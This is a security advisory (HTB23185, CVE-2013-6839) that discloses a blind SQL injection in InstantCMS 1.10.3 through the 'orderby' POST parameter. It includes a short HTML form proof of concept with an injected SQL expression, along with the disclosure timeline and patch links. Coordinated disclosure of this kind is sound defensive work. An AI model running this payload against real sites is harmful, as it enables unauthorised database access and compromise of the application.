Advisory ID: HTB23185
Product: InstantCMS
Vendor: InstantSoft
Vulnerable Version(s): 1.10.3 and probably prior
Tested Version: 1.10.3
Advisory Publication: November 20, 2013 [without technical details]
Vendor Notification: November 20, 2013=20
Vendor Patch: November 21, 2013=20
Public Disclosure: December 11, 2013=20
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2013-6839
Risk Level: High=20
CVSSv2 Base Score: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://w=
ww.htbridge.com/advisory/ )=20
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Advisory Details:
High-Tech Bridge Security Research Lab discovered blind SQL injection vulne=
rability in InstantCMS, which can be exploited to perform SQL Injection att=
acks, alter SQL requests and compromise vulnerable application.=20
1) SQL Injection in InstantCMS: CVE-2013-6839
The vulnerability exists due to insufficient filtration of "orderby" HTTP P=
OST parameter passed to "/catalog/[id]" URL. A remote unauthenticated attac=
ker can execute arbitrary SQL commands in application's database.
Simple exploit code below uses blind SQL injection exploitation technique, =
and will display different order of records on the page if MySQL version is=
5.*:
<form action=3D"http://[host]/catalog/2" method=3D"post" name=3D"main">
<input type=3D"hidden" name=3D"orderby" value=3D"(-pubdate*(substring(vers=
ion(),1,1)=3D5))">
<input type=3D"hidden" name=3D"orderto" value=3D"asc">
<input type=3D"submit" id=3D"btn">
</form>
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Solution:
Apply patch for InstantCMS 1.10.3:
http://www.instantcms.ru/download/patch/security_update_for_iCMS_1.10.3_21-=
11-2013.zip
InstantCMS 1.10.3 downloaded after 21/11/2013 is patched [without version/r=
elease modification] and is not vulnerable.
More Information:
http://www.instantcms.ru/novosti/security-update-1-10-3.html
http://trac.instantcms.ru/changeset/1376
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References:
[1] High-Tech Bridge Advisory HTB23185 - https://www.htbridge.com/advisory/=
HTB23185 - SQL Injection in InstantCMS.
[2] InstantCMS - http://www.instantcms.ru/ - InstantCMS is a free open-sour=
ce system for managing Internet communities and building social networking =
website.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - in=
ternational in scope and free for public use, CVE=C2=AE is a dictionary of =
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to =
developers and security practitioners, CWE is a formal list of software wea=
kness types.
[5] ImmuniWeb=C2=AE - http://www.htbridge.com/immuniweb/ - is High-Tech Bri=
dge's proprietary web application security assessment solution with SaaS de=
livery model that combines manual and automated vulnerability testing.
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Disclaimer: The information provided in this Advisory is provided "as is" a=
nd without any warranty of any kind. Details of this Advisory may be update=
d in order to provide as accurate information as possible. The latest versi=
on of the Advisory is available on web page [1] in the References.